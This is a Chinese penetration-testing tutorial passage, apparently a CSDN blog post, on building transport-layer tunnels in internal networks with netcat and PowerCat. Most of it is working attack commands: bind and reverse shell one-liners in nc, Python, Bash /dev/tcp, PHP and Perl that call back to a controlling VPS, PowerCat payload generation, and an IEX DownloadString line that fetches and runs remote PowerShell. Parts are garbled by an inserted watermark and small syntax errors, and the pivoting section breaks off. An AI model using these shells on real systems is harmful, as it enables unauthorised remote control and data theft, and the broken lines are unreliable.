内网渗透之传输层隧道搭建_内网隧道工具lcx

nc -nv 192.168.123.103 21

(3) 连接远程主机:

通过以下命令连接远程主机。

nc -nvv 192.168.11.135 80

(4) 端口扫描:

使用以下命令扫描指定主机的端口。

nc -v 192.168.11.138 80

或者扫描指定主机的某个端口段(速度较慢)。

nc -v -z 192.168.11.138 20-1024

(5)端口监听:

通过以下命令在本地监听端口,当有访问时会在命令行输出信息。

nc -l -p 9999

(6)文件传输:

在本地VPS主机中输入以下命令,开始监听并等待连接。一旦连接建立,数据将流入。

nc -l -p 333 > 1.txt

在目标主机中输入以下命令,与VPS的333端口建立连接,并传输名为test.txt的文本文件。

nc -vn 192.168.1.4 333 < test.txt -q 1

传输完成后,在VPS中打开1.txt文件,即可查看传输过来的数据。

(7)简易聊天:

在本地VPS主机中输入以下命令,开始监听。

nc -l -p 888

在目标主机中输入以下命令,即可开始简易聊天。

nc -vn 192.168.1.4 888

3、获取 Shell

Shell 分为两种,一种是正向 Shell,另一种是反向 Shell。如果客户端连接服务器,客户端想要获取服务器的 Shell,就称为正向 Shell; 如果客户端连接服务器,服务器想要获取客户端的Shell,就称为反向 Shell。

反向 Shell通常用在开启了防护措施的目标机器上,例如防火墙过滤、端口转发等

(1)正向 Shell

输人如下命令,监听目标主机的 4444 端口,如图 3-38 所示

nc -lvp 4444 -e /bin/sh       //Linux``nc -lvp 4444 -e c:\windows\system32\cmd.exe    //Windows

输入如下命令,在本地或者 VPS 主机上连接目标主机的 4444端口。查看当前的IP 地址,已经是 192.168.1.11 了

nc 192.168.1.11 4444

现在可以在目标主机上看到 192.168.1.4 正在连接本机

(2)反向 Shell

输入如下命令,在本地或者 VPS 主机上监听本地 9999 端口

nc-lvp 9999在目标主机中输入如下命令,连接 VPS 主机192.168.1.4 的9999端口。

nc 192.168.11.144 9999 -e /bin/sh      //Linux``nc 192.168.11.144 9999 -e c:\windows\system32\cmd.exe      //Windows

现在就可以在本地或者 VPS 主机上看到连接了。查看当前的IP 地址,已经是 1.1.1.200了

4、在目标主机中没有 nc 时获取反向 Shell

在一般情况下,目‍标主机中是没有 nc 的。此时,可以使用其他工具和编程语言来代替 nc,实现反向连接。下面介绍几种常见的反向 Shell。

(1)Python 反向 Shell

执行如下命令,在 VPS 上监听本地 2222 端口

nc -lvp 2222

在目标主机上执行如下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect (("192.168.1.4",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os,dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

查看当前的IP 地址,已经是 11.1.116 了,说明连接已经建立

(2)Bash 反向 Shell

执行如下命令,在 VPS 上监听本地 4444 端口

nc -lvp 4444

在目标主机上执行如下命令

bash -i >& /dev/tcp/192.168.1.4/4444 0>&1

查看当前的 IP 地址,已经是 1.1.1.116 了,说明连接已经建立

(3)PHP 反向 Shell

同样,首先执行如下命令,在 VPS 上监听本地 2222 端口。

nc -lvp 2222

PHP 常用在 Web 服务器上,它是 nc、Perl 和 Bash 的一个很好的替代品。执行如下命令,实现 PHP 环境下的反弹 Shell。

php -r '$sock=fsockopen("192.168.1.4",2222);exec ("/bin/sh -i <&3 >&3 2>&3");'

现在,已经在 VPS 上建立连接了。查看当前的IP 地址,已经是 1.1.1.116 了

(4)Perl 反向 Shell

执行如下命令,在 VPS 上监听本地 4444 端口。



`nc -lvp 4444`



如果此时目标主机使用的是 Perl 语言,仍然可以使用 Perl 来建立反向 Shell。

在目标主机上运行如下命令,会发现 VPS 已经与目标主机建立了连接。查看当前的IP 地址已经是1.1.1.116 了

perl -e 'use Socket;$i="192.168.1.4";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))(open(STDIN,">$S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PowerCat

PowerCat 可以说是 nc 的 PowerShell 版本。PowerCat 可以通过执行命令回到本地运行,也可以使用远程权限运行

(1)通过nc正向连接 PowerCat

在Windows 7服务器上执行监听命令“powercat -l-p 8080-e cmd.exe -v”,然后在 Kali Linux主机上执行“netcat 192.168.56.130 8080-vv”命令

-l:监听模式,用于入站连接

-P:指定监听端口

-c:指定要启动进程的名称

-v:显示详情

(2)通过nc 反向连接 PowerCat

在Kali Linux 中执行如下命令

netcat -l -p 8888 -vv

在 Windows7 中执行如下命令,-c 参数用于提供想要连接的IP 地址。

powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe

(3)通过 PowerCat 返回 PowerShell:

如果你想要在Windows 7与Windows Server 2008之间建立正向连接并返回PowerShell,可以按照以下步骤进行。在Windows Server 2008 R2中执行如下命令:

 IEX (New-Object Net.Webclient).Downloadstring('http://10.10.10.1/powercat.ps1')

在Windows 7中执行如下命令,其中-ep参数用于返回PowerShell:

powercat -c 10.10.10.129 -p 9999 -v -ep

(4)通过 PowerCat 传输文件:

在Windows 7中创建一个名为test.txt的文件,放在C盘根目录下。然后在Windows Server 2008中执行以下命令:

powercat -l -p 9999 -of test.txt -v

返回到Windows 7,执行以下命令将test.txt传输到服务器:

powercat -c 10.10.10.129 -p 9999 -i c:\test.txt -v

即使文件传输完成,连接也不会自动断开。你可以在Windows 7中通过在文件末尾追加内容,或按下“Ctrl+C”键断开连接。

-i: 输入,可以是文件名或字符串,例如 “am test” | powe **作者徽是vip1024c** rcat -c…

-of: 输出文件名,可以附加路径。

(5)用 PowerCat 生成 Payload:

PowerCat生成的Payload可以是正向或反向的,还可以进行编码。尝试生成一个简单的Payload,在Windows 7中执行以下命令:

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

将生成的ps1文件上传到Windows Server 2008并执行,然后在Windows 7中执行以下命令获取一个反弹Shell:

powercat -c 10.10.10.129 -p 8000 -v

如果要反弹PowerShell,可以执行以下命令:

powercat -l -p 8000 -ep -y -g >> shell.ps1

(6) PowerCat DNS 隧道通信:

PowerCat还支持基于DNS通信的隧道。PowerCat的DNS通信基于dnscat设计(其服务端是dnscat)。

(7)将 PowerCat 作为跳板:

在测试环境中,有三台主机,其中Windows 7主机可以通过ping访问Windows Server 2008主机和Kali主机,而Kali主机和Windows Server 2008主机之间无法通过网络连接。为了实现Windows 7主机作为跳板,连接Kali Linux主机和Windows Server 2008主机,执行以下步骤:

在Windows Server 2008中执行:



## 学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)



  • 22
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值